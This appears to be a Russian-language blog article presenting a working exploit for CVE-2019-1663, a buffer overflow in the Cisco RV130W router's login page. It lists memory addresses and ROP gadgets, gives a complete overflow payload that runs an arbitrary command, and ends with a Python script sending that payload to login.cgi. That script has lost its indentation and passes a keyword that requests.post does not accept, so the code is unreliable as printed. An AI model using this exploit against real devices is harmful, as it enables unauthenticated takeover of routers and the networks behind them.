Разберём свежий эксплойт для переполнения буфера Cisco RV130W версии 1.0.3.44. Переполнение буфера — это явление, возникающее, когда компьютерная программа записывает данные за пределами выделенного в памяти буфера, и как правило, что записывается за пределами буфера называется — shellcode.

Shellcode — код запуска оболочки, это двоичный исполняемый код, который обычно передаёт управление командному процессору, например /bin/sh. Важно знать: один стек равен 4 байтам.

Информация предназначена исключительно для ознакомления. Не нарушайте законодательство.

Как выглядит переполнение буфера:

А вот тут показывается, как выглядит удалённое переполнение буфера:

Стоит упомянуть, что чем меньше шеллкод, тем лучше, так как, если шеллкод больше буфера, то шеллкод не отработает. Например буфер=64 байта, а шеллкод=128 байт — это не правильно. Правильно будет вот так: буфер=64 байта, а шеллкод=34 байта. Начинаем!

Ссылка на продукт.
Номер CVE: CVE-2019-1663

Уязвимые функции и их адрес в памяти.

0x357fc000 - libc base addr
0x35849144 - system() addr

0x0002eaf8 / 0x3582AAF8: pop {r4, r5, lr}; add sp, sp, #8; bx lr
0x0000c11c / 0x3580811C: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc}
0x00041308 / 0x3583D308: mov r0, sp; blx r2

Эксплойт работает по такому типу:

gadget 1 system() мусор gadget 2 мусор мусор мусор мусор мусор gadget 3 текст
[0x3582AAF8][0x35849144][AAAA][0x3580811C][BBBB][CCCC][DDDD][EEEE][FFFF][0x3583D308][комманда]

Пейлод:
UUUUZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZVVVVWWWWXXXXYYYY`printf "\xf8\xaa\x82\x35\x44\x91\x84\x35AAAA\x1c\x81\x80\x35BBBBCCCCDDDDEEEEFFFF\x08\xd3\x83\x35ping192.168.1.100\x00"`

1. В этой части пэйлода:

UUUUZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZVVVVWWWWXXXXYYYY

Мы заполняем буфер мусором на 446 байтов.

2. Далее мы уже вводим адреса в памяти уязвимых функции + мусор на 24 байта:

`printf "\xf8\xaa\x82\x35\x44\x91\x84\x35AAAA\x1c\x81\x80\x35BBBBCCCCDDDDEEEEFFFF\x08\xd3\x83\x35

3. Мы вводим любую команду, которая будет выполнена удалённо:

ping 192.168.1.100\x00"`

Нулевой байт тут для того, чтобы чтобы прекратилось копирование стека в буфер. Так же у меня есть скрипт на python для переполнения буфера.

Python:

import requests

def main():
command = "ping 192.168.1.100\x00" # нулевой байт тут для того чтобы чтобы прекратилось копирование стека в буфер.
print ("Sending payload to execute [" + command + "]\n")
rop = "\xf8\xaa\x82\x35"+"\x44\x91\x84\x35"+"AAAA"+"\x1c\x81\x80\x35"+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"FFFF"+"\x08\xd3\x83\x35" # адреса в памяти уязвимых функций и мусорные байты.
payload = ("Z" * 446) + rop + command # создание пэйлода
target = "https://192.168.1.100:443/login.cgi"
data = {'submit_button': 'login','submit_type': '','gui_action': '','default_login': '1','wait_time': '0','change_action': '','enc': '1','user': 'cisco','pwd': payload,'sel_lang': 'EN'}
r = requests.post(target, payload=data) # отправление пэйлода
print ("Payload sent to", target)
if __name__ == "__main__":
main()

Спасибо за прочтение моей статьи. Надеюсь, что статья была для вас полезна. P.S. Это моя вторая статья.